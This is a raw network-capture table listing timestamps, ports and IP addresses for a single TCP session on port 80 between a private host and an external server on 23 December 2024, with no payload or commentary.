Dec 23, 2024 08:44:40.706698895 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.706748962 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.706795931 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.707722902 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.707770109 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.707796097 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.708762884 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.708805084 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.708867073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.709800959 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.709849119 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.709887981 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.755640984 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.847634077 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.847769022 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.847899914 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.848140955 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.848244905 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.849139929 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.849190950 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.849401951 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.849446058 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.850172997 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.850311995 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.850372076 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.851227045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.851350069 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.851422071 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.852245092 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.852318048 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.853092909 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.853297949 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.853441000 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.853488922 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.854321003 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.854435921 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.854717016 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.855376959 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.855489969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.855590105 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.856405020 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.856513023 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.856581926 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.857470036 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.857578993 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.857625961 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.858500957 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.858624935 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.858748913 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.859520912 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.859574080 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.859678984 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.860584974 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.860734940 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.860785007 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.861603975 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.861716032 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.862658978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.862719059 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.862771988 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.863593102 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.863707066 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.863838911 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.863890886 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.864753008 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.864859104 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.865374088 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.865807056 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.865884066 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.865930080 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.866808891 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.866921902 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.866971016 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.867858887 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.868076086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.868128061 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.868890047 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.869038105 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.869096041 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.869949102 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.870064020 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.870111942 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.871027946 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.871114969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.871162891 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.872039080 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.872158051 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.872231007 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.873063087 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.873167038 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.873217106 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.874109983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.874221087 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.874547958 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.875145912 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.875277042 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.875329971 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.876180887 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.876305103 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.876363993 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.877209902 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.877302885 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.877374887 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.878278971 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.878380060 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.878446102 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.879345894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.879399061 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.879586935 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.880371094 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.880465031 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.880511999 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.881386995 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.881850004 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.881902933 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.882416010 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.882539988 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.882591009 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.883538008 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.883697033 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.883744001 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.884501934 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.884619951 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.884700060 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.885545969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.885658026 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.885718107 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.885981083 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.886562109 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.886703968 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.887693882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.887751102 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.887821913 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.887865067 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.888691902 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.888808012 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.888869047 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.889746904 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.889844894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.890645027 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.890737057 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.890902996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.890957117 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.891797066 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.891937017 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.892000914 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.892841101 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.892951012 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.893021107 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.893934965 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.894073963 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.894124031 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.894903898 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.895052910 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.895123005 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.895955086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.896080017 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.896194935 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.896977901 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.897078037 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.897196054 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.898019075 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.898145914 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.898199081 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.898894072 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.899080038 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.899151087 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.900099039 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.900145054 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.900177002 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.900218010 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.901180029 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.901271105 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.901326895 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.902132988 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.943075895 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.953567028 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.964027882 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.039818048 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.039844990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.039902925 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.040373087 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.040489912 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.040537119 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.041399956 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.041438103 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.041520119 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.042445898 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.042556047 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.042598963 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.043508053 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.043638945 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.043709993 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.044529915 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.044637918 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.044681072 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.045561075 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.045679092 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.045722961 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.046612978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.046731949 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.046782970 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.047677994 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.047800064 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.047908068 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.048675060 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.048790932 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.048844099 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.049782038 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.049885035 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.049926043 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.050767899 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.050880909 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.051156998 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.051184893 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.051810026 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.051923990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.052608013 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.052840948 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.052999020 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.053374052 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.053889990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.053997040 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.054038048 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.054939985 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.055061102 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.055103064 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.055996895 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.056102037 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.056142092 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.057008028 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.057137966 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.057178974 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.058058977 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.058188915 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.058228016 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.059087038 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.059192896 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.059233904 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.060152054 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.060194969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.060240984 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.061198950 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.061359882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.061402082 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.062213898 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.062316895 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.062362909 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.063303947 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.063395977 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.063438892 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.064296007 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.064429045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.064470053 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.065319061 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.065427065 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.065469027 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.066380978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.066513062 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.066550970 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.067584038 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.067611933 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.067787886 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.068471909 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.068588972 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.068638086 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.069506884 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.069638014 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.069818020 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.069848061 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.070583105 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.070682049 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.071607113 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.071660042 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.071682930 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.071722031 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.072628975 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.072742939 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.072783947 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.073681116 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.073786020 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.073826075 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.074726105 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.074856997 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.074908018 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.075758934 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.075875998 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.075917006 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.076773882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.076922894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.076966047 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.077837944 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.077951908 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.077992916 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.078883886 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.079016924 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.079061985 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.079921961 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.080029964 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.080107927 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.080967903 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.081068039 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.081115007 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.081996918 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.082088947 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.082134008 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.083029032 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.083138943 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.083188057 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.084083080 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.084188938 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.084619999 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.085135937 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.085221052 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.085782051 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.086167097 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.086289883 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.086339951 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.087203979 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.087285995 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.087336063 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.088253021 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.088366985 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.088414907 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.089277029 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.089379072 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.090076923 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.090327024 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.090432882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.090630054 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.091389894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.091473103 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.091516018 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.092386961 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.092495918 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.092539072 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.093523026 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.093765974 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:41.093873978 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:41.094476938 CET	80	49755	185.215.113.16	192.168.2.7
